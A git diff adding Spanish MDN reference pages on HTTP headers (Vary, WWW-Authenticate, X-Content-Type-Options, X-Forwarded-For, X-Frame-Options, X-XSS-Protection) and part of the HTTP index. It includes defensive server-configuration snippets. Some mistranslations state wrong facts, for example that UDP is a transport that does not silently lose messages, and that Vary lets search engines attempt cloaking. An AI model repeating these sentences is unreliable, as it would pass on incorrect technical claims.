+<p>El encabezado <code>Vary</code> se debe establecer en una respuesta  {{HTTPStatus("304")}} <code>Not Modified</code> exactamente igual que habría sido fijado en una respuesta equivalente {{HTTPStatus("200")}} <code>OK</code>.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Response header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">Vary: *
+Vary: &lt;header-name&gt;, &lt;header-name&gt;, ...
+</pre>
+
+<h2 id="Directivas">Directivas</h2>
+
+<dl>
+ <dt>*</dt>
+ <dd>Cada solicitud para una URL debe ser tratada como unica e inaccesible . Una de las mejores formas de indicar esto es {{HTTPHeader("Cache-Control")}}<code>: private</code>, la cual hace mas claro leer y  señalar que el objeto no debe ser almacenado nunca.</dd>
+ <dt>&lt;header-name&gt;</dt>
+ <dd>Una lista de nombres de encabezados separados por coma para tener en cuenta al decidir si se puede utilizar o no una respuesta cache.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Servicio_Dinámico">Servicio Dinámico</h3>
+
+<p>Cuando usamos el encabezado <code>Vary: User-Agent</code> , los servidores de almacenamiento en cache deben considerar al agente de usuario al decidir si desea publicar la pagína desde la memoria cache. Por ejemplo, si estas sirviendo contenido diferente a usuarios moviles, puede ayudarle a evitar que la memoria cache puede servir erróneamente una version de escritorio de su sitio a usuarios móviles. Esto puede ayudar a Googley otros motoress de busqueda para descubrir la version de una pagina web, y ademas permitir que intenten <a href="https://en.wikipedia.org/wiki/Cloaking">Cloaking</a>.</p>
+
+<pre>Vary: User-Agent</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "Vary", "7.1.4")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Vary")}}</p>
+
+<h2 id="Notas_de_Compatibilidad">Notas de Compatibilidad</h2>
+
+<ul>
+ <li><a href="https://blogs.msdn.microsoft.com/ieinternals/2009/06/17/vary-with-care/">Vary with care – Vary header problems in IE6-9</a></li>
+</ul>
+
+<h2 id="Vea_tambien">Vea tambien</h2>
+
+<ul>
+ <li>{{HTTPHeader("Cache-Control")}}</li>
+ <li>{{HTTPHeader("User-Agent")}}</li>
+ <li><a href="https://www.fastly.com/blog/best-practices-for-using-the-vary-header">Mejores practicas para usar el encabezado Vary – fastly.com</a></li>
+</ul>
diff --git a/files/es/web/http/headers/www-authenticate/index.html b/files/es/web/http/headers/www-authenticate/index.html
new file mode 100644
index 0000000000..d3456d4258
--- /dev/null
+++ b/files/es/web/http/headers/www-authenticate/index.html
@@ -0,0 +1,87 @@
+---
+title: WWW-Authenticate
+slug: Web/HTTP/Headers/WWW-Authenticate
+translation_of: Web/HTTP/Headers/WWW-Authenticate
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>La cabezera de la respuesta HTTP <strong><code>WWW-Authenticate</code></strong> define el método de autentificación que debe ser utilizado para acceder al recurso solicitado.</p>
+
+<p>La cabezera <code>WWW-Authenticate</code>  es enviada junto al estado  {{HTTPStatus("401")}} <code>Unauthorized</code> en la respuesta.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Response header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox notranslate">WWW-Authenticate: &lt;type&gt; realm=&lt;realm&gt;
+</pre>
+
+<h2 id="Directives">Directives</h2>
+
+<dl>
+ <dt>&lt;type&gt;</dt>
+ <dd><a href="/en-US/docs/Web/HTTP/Authentication#Authentication_schemes">Tipo de autentificación</a>. Un tipo común es <a href="/en-US/docs/Web/HTTP/Authentication#Basic_authentication_scheme">"Basic"</a>. IANA mantiene una <a href="http://www.iana.org/assignments/http-authschemes/http-authschemes.xhtml">lista de los esquemas de autentificación</a>.</dd>
+ <dt>realm=&lt;realm&gt;</dt>
+ <dd>Una descripción del recurso protegido. Si el realm no es especificado, los clientes a menudo muestran el hostname.</dd>
+ <dt>charset=&lt;charset&gt;</dt>
+ <dd>Le indica al cliente el tipo de encoding scheme preferido por el servidor cuando se envía un nombre de usuario y contraseña. El único valor permitido es la cadena de texto (no diferencia entre mayúsculas o mínusculas) "UTF-8".  Esto no esta relacionado a el encoding del parámetro realm.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>Typically, a server response contains a <code>WWW-Authenticate</code> header that looks like these:</p>
+
+<pre class="notranslate">WWW-Authenticate: Basic
+
+WWW-Authenticate: Basic realm="Access to the staging site", charset="UTF-8"
+</pre>
+
+<p>See also <a href="/en-US/docs/Web/HTTP/Authentication">HTTP authentication</a> for examples on how to configure Apache or nginx servers to password protect your site with HTTP basic authentication.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{RFC("7235", "WWW-Authenticate", "4.1")}}</td>
+   <td>HTTP/1.1: Authentication</td>
+  </tr>
+  <tr>
+   <td>{{RFC("7617")}}</td>
+   <td>The 'Basic' HTTP Authentication Scheme</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("http.headers.WWW-Authenticate")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Authentication">HTTP authentication</a></li>
+ <li>{{HTTPHeader("Authorization")}}</li>
+ <li>{{HTTPHeader("Proxy-Authorization")}}</li>
+ <li>{{HTTPHeader("Proxy-Authenticate")}}</li>
+ <li>{{HTTPStatus("401")}}, {{HTTPStatus("403")}}, {{HTTPStatus("407")}}</li>
+</ul>
diff --git a/files/es/web/http/headers/x-content-type-options/index.html b/files/es/web/http/headers/x-content-type-options/index.html
new file mode 100644
index 0000000000..29d4fb6986
--- /dev/null
+++ b/files/es/web/http/headers/x-content-type-options/index.html
@@ -0,0 +1,83 @@
+---
+title: X-Content-Type-Options
+slug: Web/HTTP/Headers/X-Content-Type-Options
+tags:
+  - Encabezado de respuesta
+  - Encabezados HTTP
+  - HTTP
+  - Referencia
+translation_of: Web/HTTP/Headers/X-Content-Type-Options
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>El encabezado HTTP de respuesta <code><strong>X-Content-Type-Options</strong></code> es un marcador utilizado por el servidor para indicar que los <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">tipos MIME</a> anunciados en los encabezados {{HTTPHeader("Content-Type")}} no se deben cambiar ni seguir. Esto permite desactivar el <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types#MIME_sniffing">MIME type sniffing</a>, o, en otras palabras, es una manera de decir que los webmasters sabían lo que estaban haciendo.</p>
+
+<p><font>Este encabezado fue introducido por Microsoft en IE 8 para que los webmasters bloquearan el rastreo de contenido, pudiendo transformar tipos MIME no ejecutables en tipos MIME ejecutables. </font><font>Desde entonces, otros navegadores lo han introducido, incluso con  algoritmos de detección MIME menos agresivos. </font></p>
+
+<p>Los evaluadores de seguridad del sitio suelen esperar que este encabezado aparezca.</p>
+
+<p class="note">Note: <code>nosniff</code> solo se aplican a los tipos "<code>script</code>" y "<code>style</code>". Además la aplicación de <code>nosniff</code> a las imágenes resulto ser<a href="https://github.com/whatwg/fetch/issues/395"> incompatible con los sitios web existentes</a>.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Response header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">X-Content-Type-Options: nosniff
+</pre>
+
+<h2 id="Directivas">Directivas</h2>
+
+<dl>
+ <dt><code>nosniff</code></dt>
+ <dd>Bloquea una solicitud si el tipo solicitado es
+ <ul>
+  <li>"<code>style</code>" y el tipo MIME no es "<code>text/css</code>", o</li>
+  <li>"<code>script</code>" y el tipo MIME no es un <a href="https://html.spec.whatwg.org/multipage/scripting.html#javascript-mime-type">JavaScript MIME type</a>.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Fetch", "#x-content-type-options-header", "X-Content-Type-Options definition")}}</td>
+   <td>{{Spec2("Fetch")}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.X-Content-Type-Options")}}</p>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li>{{HTTPHeader("Content-Type")}}</li>
+ <li>The <a href="https://blogs.msdn.microsoft.com/ie/2008/09/02/ie8-security-part-vi-beta-2-update/">original definition</a> of X-Content-Type-Options by Microsoft.</li>
+ <li>The <a href="https://mozilla.github.io/http-observatory-website/">Mozilla Observatory</a> tool testing the configuration (including this header) of Web sites for safety and security</li>
+ <li>
+  <p><a href="https://blog.mozilla.org/security/2016/08/26/mitigating-mime-confusion-attacks-in-firefox/">Mitigating MIME Confusion Attacks in Firefox</a></p>
+ </li>
+</ul>
diff --git a/files/es/web/http/headers/x-forwarded-for/index.html b/files/es/web/http/headers/x-forwarded-for/index.html
new file mode 100644
index 0000000000..dfa92db08b
--- /dev/null
+++ b/files/es/web/http/headers/x-forwarded-for/index.html
@@ -0,0 +1,74 @@
+---
+title: X-Forwarded-For
+slug: Web/HTTP/Headers/X-Forwarded-For
+translation_of: Web/HTTP/Headers/X-Forwarded-For
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>La cabecera <span><code><strong>X-Forwarded-For</strong></code></span> (XFF) es un estándar de facto para identificar el origen de la dirección IP de un cliente conectado a un servidor web a través de un proxy HTTP o un balanceador de carga. Cuando se intercepta el tráfico entre cliente y servidores, los registros de los servidores de acceso contienen sólo la dirección IP del proxy o del balanceador de carga. Para ver la dirección IP original del cliente, se utiliza la cabecera <code>X-Forwarded-For</code>.</p>
+
+<p>Esta cabecera se usa para la depuración, estadísticas, y la generación de contenido dependiente de la ubicación. De forma deliberada, expone información privada sensible como la dirección IP del cliente. Por lo tanto, debe tenerse en cuenta la privacidad del usuario a la hora de publicar esta cabecera.</p>
+
+<p>Una versión estandarizada de esta cabecera es la cabecera HTTP {{HTTPHeader("Forwarded")}}.</p>
+
+<p><code>X-Forwarded-For</code> es también una cabecera de correo electrónico que indica que el mismo fue reenviado desde otra cuenta.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Request header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">X-Forwarded-For: &lt;client&gt;, &lt;proxy1&gt;, &lt;proxy2&gt;
+</pre>
+
+<h2 id="Directivas">Directivas</h2>
+
+<dl>
+ <dt>&lt;cliente&gt;</dt>
+ <dd>La dirección IP del cliente</dd>
+ <dt>&lt;proxy1&gt;, &lt;proxy2&gt;</dt>
+ <dd>Si una solicitud pasa por varios proxies, las direcciones IP de cada proxy se listan en forma sucesiva. Esto significa que la IP de más a la derecha es la IP del proxy más reciente, y la IP de más a la izquierda es la IP del cliente originador. </dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre>X-Forwarded-For: 2001:db8:85a3:8d3:1319:8a2e:370:7348
+
+X-Forwarded-For: 203.0.113.195
+
+X-Forwarded-For: 203.0.113.195, 70.41.3.18, 150.172.238.178
+</pre>
+
+<p>Otras formas no estándar:</p>
+
+<pre># Usado para algunos servicios de Google
+X-ProxyUser-Ip: 203.0.113.19</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>No es parte de especificación actual alguna. La versión estandarizada de este cabezal es {{HTTPHeader("Forwarded")}}.</p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("http.headers.X-Forwarded-For")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{HTTPHeader("Forwarded")}}</li>
+ <li>{{HTTPHeader("X-Forwarded-Host")}}</li>
+ <li>{{HTTPHeader("X-Forwarded-Proto")}}</li>
+ <li>{{HTTPHeader("Via")}}</li>
+</ul>
diff --git a/files/es/web/http/headers/x-frame-options/index.html b/files/es/web/http/headers/x-frame-options/index.html
new file mode 100644
index 0000000000..954cc3792f
--- /dev/null
+++ b/files/es/web/http/headers/x-frame-options/index.html
@@ -0,0 +1,134 @@
+---
+title: X-Frame-Options
+slug: Web/HTTP/Headers/X-Frame-Options
+translation_of: Web/HTTP/Headers/X-Frame-Options
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>El encabezado de respuesta <a href="/en-US/docs/Web/HTTP">HTTP</a> <strong><code>X-Frame-Options </code></strong>puede ser usado para indicar si debería permitírsele a un navegador renderizar una página en un {{HTMLElement("frame")}}, {{HTMLElement("iframe")}} o {{HTMLElement("object")}} . Las páginas webs pueden usarlo para evitar ataques de {{interwiki("wikipedia", "clickjacking")}} , asegurándose que su contenido no es embebido en otros sitios.</p>
+
+<p>La seguridad añadida sólo es proporcionada si el usuario que está accediendo al documento está utilizando un navegador que soporte <code>X-Frame-Options</code>.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Tipo de encabezado</th>
+   <td>{{Glossary("Response header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Nombre de encabezado prohibido")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<p>Existen tres posibles directivas para <code>X-Frame-Options</code>:</p>
+
+<pre class="syntaxbox">X-Frame-Options: DENY
+X-Frame-Options: SAMEORIGIN
+X-Frame-Options: ALLOW-FROM https://example.com/
+</pre>
+
+<h3 id="Directivas">Directivas</h3>
+
+<p>Si especifica DENY, fallarán no sólo los intentos de cargar la página en un marco desde otros sitios, sino que fallarán cuando sea cargada desde el mismo sitio. Por otro lado, si especifica SAMEORIGIN, puede usar la página en un marco mientras el sitio que la incluya sea el mismo que la sirve.</p>
+
+<dl>
+ <dt><code>DENY</code></dt>
+ <dd>La página no puede ser mostrada en un marco, independiente del sitio que esté intentándolo.</dd>
+ <dt><code>SAMEORIGIN</code></dt>
+ <dd>La página sólo puede ser mostrada en un marco del mismo origen que dicha página.</dd>
+ <dt><code>ALLOW-FROM <em>uri</em></code></dt>
+ <dd>La página sólo puede ser mostrada en un marco del origen especificado.Tenga en cuenta que en Firefox esto todavía sufre del mismo problema que SAMEORIGIN — no verifica los antecesores del marco para ver si están en el mismo origen.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<div class="note">
+<p><strong>Nota:</strong> ¡Configurar el tag <em>meta</em> es inútil! Por ejemplo, <code>&lt;meta http-equiv="X-Frame-Options" content="deny"&gt;</code> no tiene efecto. ¡No lo use! Sólo funcionará configurando el encabezado HTTP <code>X-Frame-Options</code> como en los ejemplos anteriores.</p>
+</div>
+
+<h3 id="Configurando_Apache">Configurando Apache</h3>
+
+<p>Agregue lo siguiente a la configuración de su sitio para que Apache envíe el encabezado <code>X-Frame-Options</code> para todas las páginas:</p>
+
+<pre>Header always append X-Frame-Options SAMEORIGIN
+</pre>
+
+<p>Para que Apache envíe <code>X-Frame-Options</code>  deny , agregue lo siguiente a la configuración de su sitio:</p>
+
+<pre>Header set X-Frame-Options DENY
+</pre>
+
+<p>Para que Apache envíe el encabezado <code>X-Frame-Options</code> para permitir (<code>ALLOW-FROM</code>) un host en específico, agregue esto a la configuración de su sitio:</p>
+
+<pre>Header set X-Frame-Options "ALLOW-FROM https://example.com/"
+</pre>
+
+<h3 id="Configurando_nginx">Configurando nginx</h3>
+
+<p>Para configurar nginx a que envíe el encabezado <code>X-Frame-Options</code> , agregue esto a la configuración, ya sea http, server o location:</p>
+
+<pre>add_header X-Frame-Options SAMEORIGIN;
+</pre>
+
+<h3 id="Configurando_IIS">Configurando IIS</h3>
+
+<p>Para hacer que IIS envíe el encabezado <code>X-Frame-Options</code>, agrege esto al archivo <code>Web.config</code> de su sitio:</p>
+
+<pre class="brush: xml">&lt;system.webServer&gt;
+  ...
+
+  &lt;httpProtocol&gt;
+    &lt;customHeaders&gt;
+      &lt;add name="X-Frame-Options" value="SAMEORIGIN" /&gt;
+    &lt;/customHeaders&gt;
+  &lt;/httpProtocol&gt;
+
+  ...
+&lt;/system.webServer&gt;
+</pre>
+
+<h3 id="Configurando_HAProxy">Configurando HAProxy</h3>
+
+<p>Para hacer que HAProxy envíe el encabezado <code>X-Frame-Options</code>, agrege lo siguiente a su configuración front-end, listen, o backend:</p>
+
+<pre>rspadd X-Frame-Options:\ SAMEORIGIN</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Título</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7034")}}</td>
+   <td>HTTP Header Field X-Frame-Options</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p class="hidden">La tabla de compatibilidad en esta página es generada a partir de data estructurada. Si desea contribuir a la data, favor ingrese a <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíenos un pull request.</p>
+
+<p>{{Compat("http.headers.X-Frame-Options")}}</p>
+
+<p> </p>
+
+<p>Corrección de traducción por Ervin A. Santos R.</p>
+
+<p>el 21-Oct-2018</p>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li><a class="external" href="https://blogs.msdn.com/b/ie/archive/2009/01/27/ie8-security-part-vii-clickjacking-defenses.aspx">ClickJacking Defenses - IEBlog</a></li>
+ <li><a href="https://blogs.msdn.com/b/ieinternals/archive/2010/03/30/combating-clickjacking-with-x-frame-options.aspx">Combating ClickJacking with X-Frame-Options - IEInternals</a></li>
+ <li><a href="https://tools.ietf.org/html/rfc7034">HTTP Header Field X-Frame-Options - RFC 7034</a></li>
+ <li><a href="https://w3c.github.io/webappsec/specs/content-security-policy/#directive-frame-ancestors">CSP Level 2 frame-ancestors directive</a></li>
+</ul>
diff --git a/files/es/web/http/headers/x-xss-protection/index.html b/files/es/web/http/headers/x-xss-protection/index.html
new file mode 100644
index 0000000000..6ba07cc02a
--- /dev/null
+++ b/files/es/web/http/headers/x-xss-protection/index.html
@@ -0,0 +1,87 @@
+---
+title: X-XSS-Protection
+slug: Web/HTTP/Headers/X-XSS-Protection
+tags:
+  - HTTP
+  - Referencia
+  - Seguridad
+  - XSS
+  - encabezado
+translation_of: Web/HTTP/Headers/X-XSS-Protection
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>El encabezado de respuesta HTTP <strong><code>X-XSS-Protection</code></strong> es una característica de Internet Explorer, Chrome y Safari que impide la carga de una página cuando detecta ataques del tipo Cross-Site ({{Glossary("XSS")}}). Esta protección ya no es necesaria en los navegadores modernos cuando el sitio implementa una fuerte {{HTTPHeader("Content-Security-Policy")}}  que deshabilita el uso de Javascript inline (<code>'unsafe-inline'</code>). Sin embargo da protección a los usuarios de navegadores más antiguos que no soportan  {{Glossary("CSP")}}</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Tipo de encabezado</th>
+   <td>{{Glossary("Response header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Nombre de encabezado prohibido")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">X-XSS-Protection: 0
+X-XSS-Protection: 1
+X-XSS-Protection: 1; mode=block
+X-XSS-Protection: 1; report=&lt;reporting-uri&gt;
+</pre>
+
+<dl>
+ <dt>0</dt>
+ <dd>Desativa el filtro XSS.</dd>
+ <dt>1</dt>
+ <dd>Habilita el filtro XSS (generalmente está predeterminado en los navegadores). En caso de detección de un ataque cross-site scripting, el navegador sanitizará a página (eliminará las partes inseguras).</dd>
+ <dt>1; mode=block</dt>
+ <dd>Habilita el filtrado XSS. En vez de sanitizar la página, el navegador evitará la visualización de la página en caso de que algún ataque sea detectado.</dd>
+ <dt>1; report=&lt;reporting-URI&gt;  (Chromium solamente)</dt>
+ <dd>Habilita el filtro XSS. En caso de que algún ataque de cross-site scripting sea detectado, el navegador sanitizará la página e informará sobre la infracción. Utiliza la funcionalidad de la directiva CSP {{CSP("report-uri")}} para enviar um reporte.</dd>
+</dl>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>Bloquea las páginas en las que se detecta un ataque XSS:</p>
+
+<p> </p>
+
+<pre class="brush: bash">X-XSS-Protection: 1; mode=block</pre>
+
+<p> </p>
+
+<p>PHP</p>
+
+<pre class="brush: php">header("X-XSS-Protection: 1; mode=block");</pre>
+
+<p>Apache (.htaccess)</p>
+
+<pre class="brush: bash">&lt;IfModule mod_headers.c&gt;
+  Header set X-XSS-Protection "1; mode=block"
+&lt;/IfModule&gt;</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>No forma parte de ninguna especificación o borrador.</p>
+
+<h2 id="Compatibilidad_de_los_navegadores">Compatibilidad de los navegadores</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.X-XSS-Protection")}}</p>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li>{{HTTPHeader("Content-Security-Policy")}}</li>
+ <li><a href="https://blogs.msdn.microsoft.com/ieinternals/2011/01/31/controlling-the-xss-filter/">Controlling the XSS Filter – Microsoft</a></li>
+ <li><a href="https://www.virtuesecurity.com/blog/understanding-xss-auditor/">Understanding XSS Auditor – Virtue Security</a></li>
+ <li>
+  <p><a href="http://blog.innerht.ml/the-misunderstood-x-xss-protection/">The misunderstood X-XSS-Protection – blog.innerht.ml</a></p>
+ </li>
+</ul>
diff --git a/files/es/web/http/index.html b/files/es/web/http/index.html
new file mode 100644
index 0000000000..1b26cddb1a
--- /dev/null
+++ b/files/es/web/http/index.html
@@ -0,0 +1,85 @@
+---
+title: HTTP
+slug: Web/HTTP
+tags:
+  - Desarrollo web
+  - HTTP
+  - Referencia
+  - TCP/IP
+  - TopicStub
+  - Web
+translation_of: Web/HTTP
+---
+<div>{{ HTTPSidebar }}</div>
+
+<p class="summary"><strong><dfn>Hypertext Transfer Protocol (HTTP)</dfn></strong> (o <strong><dfn>Protocolo de Transferencia de Hipertexto en español)</dfn></strong> es un protocolo de la <a class="external" href="http://es.wikipedia.org/wiki/Capa_de_aplicaci%C3%B3n">capa de aplicación</a> para la transmisión de documentos hipermedia, como HTML. Fue diseñado para la comunicación entre los navegadores y servidores web, aunque puede ser utilizado para otros propósitos también. Sigue el clásico <a class="external" href="http://es.wikipedia.org/wiki/Cliente-servidor">modelo cliente-servidor</a>, en el que un cliente establece una conexión, realizando una petición a un servidor y espera una respuesta del mismo. Se trata de un <a class="external" href="http://es.wikipedia.org/wiki/Protocolo_sin_estado">protocolo sin estado</a>, lo que significa que el servidor no guarda ningún dato (estado) entre dos peticiones. Aunque en la mayoría de casos se basa en una conexión del tipo TCP/IP, puede ser usado sobre cualquier <a class="external" href="http://es.wikipedia.org/wiki/Capa_de_transporte">capa de transporte</a> segura o de confianza, es decir, sobre cualquier protocolo que no pierda mensajes silenciosamente, tal como UDP.</p>
+
+<div class="column-container">
+<div class="column-half">
+<h2 id="Tutoriales">Tutoriales</h2>
+
+<p>Aprende cómo utilizar HTTP con guías y tutoriales.</p>
+
+<dl>
+ <dt><a href="/es/docs/Web/HTTP/Overview">Generalidades de HTTP</a></dt>
+ <dd>Se presentan las características básicas del protocolo y su estructura cliente-servidor: qué puede hacer y cuáles son sus usos.</dd>
+ <dt><a href="/es/docs/Mozilla/HTTP_cache">HTTP Caché</a></dt>
+ <dd>La gestión de la Caché es fundamental para la eficiencia de sitios Web. En este artículo se presentan los distintos tipos de caché y cómo usar las cabeceras HTTP para su configuración y control.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/es/docs/Web/HTTP/Cookies">HTTP Cookies</a></dt>
+ <dd>El funcionamiento de las cookies se define en <a class="external" href="http://tools.ietf.org/html/rfc6265">RFC 6265</a>. Al recibir una petición HTTP, un servidor puede enviar una cabecera <code>Set-Cookie</code> junto con la respuesta. Posteriormente el cliente devuelve el valor de la cookie en cada petición al mismo servidor en forma de cabecera de solicitud <code>Cookie</code>. La cookie también puede tener una fecha de expiración determinada, o puede estar restringida a un dominio y path específico.</dd>
+ <dt><a href="/es/docs/HTTP/Access_control_CORS">Control de Acceso HTTP (CORS)</a></dt>
+ <dd>Las <strong>Solicitudes Inter-Sitio HTTP </strong>(Cross-site HTTP requests en inglés), son peticiones HTTP por recursos pertenecientes a un dominio distinto al dominio del recurso que está haciendo la petición. Por ejemplo, una página HTML de un dominio A (http://dominioa.ejemplo/) hace una solicitud por una imagen en un dominio B (http://dominiob.foo/imagen.jpg) a través del elemento <code>img</code>. Hoy en día, las webs utilizan recursos de otros orígenes muy a menudo, incluyendo hojas de estilo CSS, imágenes, scripts y otros recursos. El Control de Acceso HTTP posibilita a los desarrolladores web a controlar cómo su sitio web responde a solicitudes de otros orígenes.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/es/docs/Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP">Evolución de HTTP</a></dt>
+ <dd>Una breve descripción de los cambios del protocolo HTTP desde sus primeras versiones hasta el moderno HTTP/2 y más allá.</dd>
+ <dt><a href="https://wiki.mozilla.org/Security/Guidelines/Web_Security">Consejos de Seguridad Web de Mozilla</a></dt>
+ <dd>Una colección de tips para ayudar a equipos de desarrollo con la creación de aplicaciones web seguras.</dd>
+ <dt><a href="/es/docs/Web/HTTP/Messages">Mensajes HTTP</a></dt>
+ <dd>Se describen los tipos de mensajes y distintas estructuras de los mensajes del protocolo HTTP/1.X y HTTP/2</dd>
+ <dt><a href="/es/docs/Web/HTTP/Session"> La típica sesión HTTP</a></dt>
+ <dd>Se muestra y explica cómo es una sesión HTTP típica.</dd>
+ <dt><a href="/es/docs/Web/HTTP/Connection_management_in_HTTP_1.x">Manejo de conexión en HTTP/1.X</a> </dt>
+ <dd>Se describen los tres tipos de gestiones posibles en una sesión HTTP/1.x, sus principales ventajas e inconvenientes.</dd>
+ <dt> </dt>
+</dl>
+</div>
+
+<div class="column-half">
+<h2 id="Referencias">Referencias</h2>
+
+<p>Navega la documentación detallada del protocolo HTTP.</p>
+
+<dl>
+ <dt><a href="/es/docs/Web/HTTP/Headers">Cabeceras HTTP</a> </dt>
+ <dd>Las cabeceras de mensaje HTTP se usan para describir un recurso, o el comportamiento del servidor o del cliente. Pueden agregarse cabeceras personalizadas usando el prefijo 'X-'; otras en un <a class="external" href="http://www.iana.org/assignments/message-headers/perm-headers.html">registro IANA</a>, cuyo contenido fue inicialmente definido en <a class="external" href="http://tools.ietf.org/html/rfc4229">RFC 4229</a>. IANA mantiene también un <a class="external external-icon" href="http://www.iana.org/assignments/message-headers/prov-headers.html">registro de nuevas cabeceras de mensaje HTTP propuestas</a>.</dd>
+ <dt><a href="/es/docs/Web/HTTP/Methods">Métodos de Petición HTTP</a></dt>
+ <dd>Las distintas operaciones que se pueden realizar con HTTP: {{HTTPMethod("GET")}}, {{HTTPMethod("POST")}}, y solicitudes menos comunes como {{HTTPMethod("OPTIONS")}}, {{HTTPMethod("DELETE")}}, o {{HTTPMethod("TRACE")}}.</dd>
+ <dt><a href="/es/docs/Web/HTTP/Response_codes">Códigos de Respuesta de Estado HTTP</a></dt>
+ <dd>Los códigos de respuesta HTTP indican si una determinada petición HTTP se ha completado correctamente o no. Las respuestas se clasifican en cinco clases: respuestas informativas, respuestas de petición correcta, redirecciones, error del cliente y error del servidor.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy">CSP directives</a></dt>
